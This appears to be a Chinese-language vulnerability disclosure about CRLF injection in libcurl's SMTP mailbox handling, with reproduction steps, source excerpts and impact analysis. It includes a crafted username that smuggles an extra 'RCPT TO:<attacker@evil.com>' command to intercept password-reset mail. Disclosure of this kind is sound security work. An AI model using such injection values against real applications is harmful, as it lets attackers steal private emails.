cURL SMTP CRLF命令注入漏洞分析

本文详细分析了cURL库中SMTP实现的CRLF命令注入漏洞,攻击者可通过在邮箱地址中插入控制字符注入任意SMTP命令,添加未授权收件人并绕过应用级邮件控制。

SMTP CRLF命令注入漏洞报告

漏洞概述

libcurl的SMTP实现在邮箱地址输入中接受CR(\r)和LF(\n)字节而不进行验证。这些控制字符被直接插入到SMTP命令中,允许攻击者注入任意SMTP协议命令。这使得攻击者能够操纵邮件信封、添加未授权收件人,并可能绕过应用级邮件控制。

复现步骤

环境配置

  • 目标:curl/libcurl源代码(https://github.com/curl/curl)
  • 测试版本:
    • curl 8.17.0(最新官方版本)✅ 存在漏洞
    • curl 8.12.0-DEV ✅ 存在漏洞

前置条件

  1. 从源代码构建curl
  2. 下载附带的验证脚本:poc_smtp_crlf_injection.sh

操作步骤

  1. 使脚本可执行:
1
chmod +x poc_smtp_crlf_injection.sh
  1. 运行验证脚本:
1
./poc_smtp_crlf_injection.sh /path/to/curl/src/curl

脚本将:

  • 启动记录所有接收命令的SMTP服务器
  • 使用CRLF注入的邮箱地址执行curl
  • 显示清晰的对比结果
  • 高亮显示注入的命令

预期与实际行为

预期行为: curl应拒绝包含控制字符的邮箱地址,并返回类似"邮箱地址中包含无效字符"或"不允许控制字符"的错误。

实际行为: curl接受CRLF字符并将其作为SMTP命令的一部分发送,导致协议级命令注入:

1
2
3
> MAIL FROM:<sender@company.com
> RCPT TO:<attacker@evil.com> SIZE=...    ← 注入的命令
> RCPT TO:<victim@company.com>            ← 合法收件人

MAIL FROM命令被分成两个独立行,其中"RCPT TO:attacker@evil.com"作为单独的SMTP命令被注入。邮件现在同时发送给合法收件人和攻击者地址。

漏洞证据

代码分析

文件:lib/smtp.c,第838-846行

1
2
3
4
5
6
7
8
result = Curl_pp_sendf(data, &smtpc->pp,
                       "MAIL FROM:%s%s%s%s%s%s",
                       from,                 /* 必需参数 - 无验证 */
                       auth ? " AUTH=" : "",
                       auth ? auth : "",
                       size ? " SIZE=" : "",
                       size ? size : "",
                       utf8 ? " SMTPUTF8" : "");

文件:lib/smtp.c,第1875-1921行(smtp_parse_address函数)

  • 函数执行基本解析(去除<>,查找@)
  • 没有对控制字符(CR、LF、NUL)进行验证
  • 字符串直接传递给命令构造

对比验证

curl已经在类似上下文中拒绝控制字符。从lib/cookie.c,第436-446行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
static bool invalid_octets(const char *ptr) {
  const unsigned char *p = (const unsigned char *)ptr;
  /* 拒绝所有字节\x01-\x1f(除\x09,TAB外)+\x7f */
  while(*p) {
    if(((*p != 9) && (*p < 0x20)) || (*p == 0x7f))
      return TRUE;
    p++;
  }
  return FALSE;
}

此函数明确拒绝cookie值中的CR(0x0D)和LF(0x0A)。相同的验证应该应用于SMTP邮箱地址,但当前缺失。

影响分析

控制邮箱地址输入的攻击者可以通过添加CRLF字符注入SMTP命令。这使得他们能够在应用程序不知情的情况下向邮件添加额外收件人。

真实攻击场景: Web应用程序使用curl发送密码重置邮件。攻击者在平台上注册用户名victim\r\nRCPT TO:<attacker@evil.com>。当应用程序构建邮箱地址并将其传递给curl时,curl注入了额外的收件人命令。攻击者收到本应发送给受害者的密码重置链接副本。

重要性:

  • 许多应用程序从用户名+域名构建邮箱地址而不检查控制字符
  • 应用程序期望库处理协议级验证(如curl对cookie和HTTP头部的处理)
  • 攻击者可窃取敏感邮件:密码重置、验证码、机密报告
  • 该漏洞影响所有使用CURLOPT_MAIL_FROM、CURLOPT_MAIL_RCPT或CURLOPT_MAIL_AUTH且包含任何用户输入的应用程序

项目响应

curl开发团队认为这是重复报告,并引用了之前的三个相关报告。根据项目透明度政策,所有报告都被公开披露。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计